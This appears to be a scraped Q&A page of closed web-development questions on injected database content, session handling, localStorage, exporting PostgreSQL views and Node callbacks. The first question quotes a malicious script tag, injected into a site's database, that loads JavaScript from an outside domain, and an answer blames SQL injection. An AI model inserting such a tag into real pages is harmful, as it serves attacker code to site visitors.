An external script has been injected to my database [closed] - javascript

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 8 years ago.
Improve this question
Im retrieving meta description from my database, to my suprise, the data that has been returned with an appended script code.
Heres the code that happened to be added to my database entry
<script id="alp1398" type="text/javascript" src="http://earcuff.nl/js/jqueryinit.js"></script>
Any idea, how could this happen, or what does this script do?

Most usual vector of attack - parameters you use to populate your database. Check that you always use prepared statements (i.e. SQL with ? in place of the parameters) and if you cannot (e.g. in ORDER BY clause) you have to sanitize the input.
Other vectors include hacking your account itself to be able to execute SQL statements.
It is hard to tell what exactly happened with so little data you provided in the question. Please, state what middle tier you are using etc.

Related

How to validate user logged in web application (php)? [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 1 year ago.
Improve this question
Good day.
Could someone please tell me how I can control that a user does not enter a web application more than once?
Currently I am controlling it by storing the session that is created in php in a field of a table and through javascript using ajax I consult it every 10 seconds. I think there must be a better way ... thanks !!!
And finally solved it by validating that the session created is different from the previous one, thus updating it and the previous user wanting to validate his session in order to make any request will realize that it does not exist and this will remove him from the application .

input fields keeping the same information entered previously [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 2 years ago.
Improve this question
I'm working on a web development assignment and i'm a little stuck, so i have 2 pages, the first one is formulaire.html which contains a form that sends informations to my second page which is recap.php, and in that page i have a button that must send me back to the form page with all the informations entered previously still there, i can't use any php in the first page it must remain .html, i was thinking of creating a modify.js file but i would have to get my $_SESSION variables in it, which i don't know if it's possible, if anyone can help me out it'd be great.
did you try to use localStorage in javascript???
localStorage.setItem("key", "value");
var key = localStorage.getItem("key");

How to register a user using only javascript/ajax or jquery [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 3 years ago.
Improve this question
I'm trying to register users using only javascript,ajax or jquery, i need to save the information of the users somewhere where i can get it even after the browser is closed,and the new information can't overwrite the old one.
I already tried saving into a xml file or txt file, but without success.
Check these out, one of it might help
http://www.w3.org/TR/IndexedDB/ - Indexed DB
http://www.w3.org/TR/webdatabase/ - Web Sql
http://www.w3.org/TR/webstorage/ - localStorage
You can as well try out a JavaScript Database here
http://www.taffydb.com/ still trying it out myself, hope this helps.

How to program SQL views to show on website? [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 4 years ago.
Improve this question
So I have several report views that are relevant for a few people that have no SQL knowledge
Without using tableau, how to have these views available to be visualized on an internal website and/or downloadable in the form of a csv file?
Database is postgresql and there's someone else with JavaScript knowledge, though any solution is fine as long as it can be simple for the end user
The easiest way to export data of a table to a CSV file is with the COPY statement. But you can only COPY directly from a table, not a view. But you can
copy out anything you can select, so this should work:
COPY (SELECT * FROM MyView) TO 'C:\tmp\MyData_db.csv' DELIMITER ',' CSV HEADER;

Types of output that will work for a callback [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 9 years ago.
Improve this question
I am currently working on a small nodejs project that is responsible for returning search terms from a twitter feed. I have the search working however because I am new to this I am having problems displaying this on my webpage. The search information I want to display is being held by a callback from my function and I want to output this information. Keep in mind this information is ascertained after the webpage is loaded and I think that is why response.write(information); is not working for me. However if I do console.log(information); I do get the information I want but it's just not where I want it. Can someone help me out with outputting please.
I ended up solving this by using JSON.stringify(information);
You are right, it's very likely that once you have returned your webpage the response will be closed.
2 options:
1) you load your webpage first on 1 static route (using static middleware) and this web page then does an ajax call to a second route which returns your information.
2) you don't return your webpage until you have retrieved your information. I'm assuming your information will need to be displayed on this webpage which means you'll have to turn your webpage in a template and merge it with your information. You can use a Jade template or underscore template for example.

Categories

Resources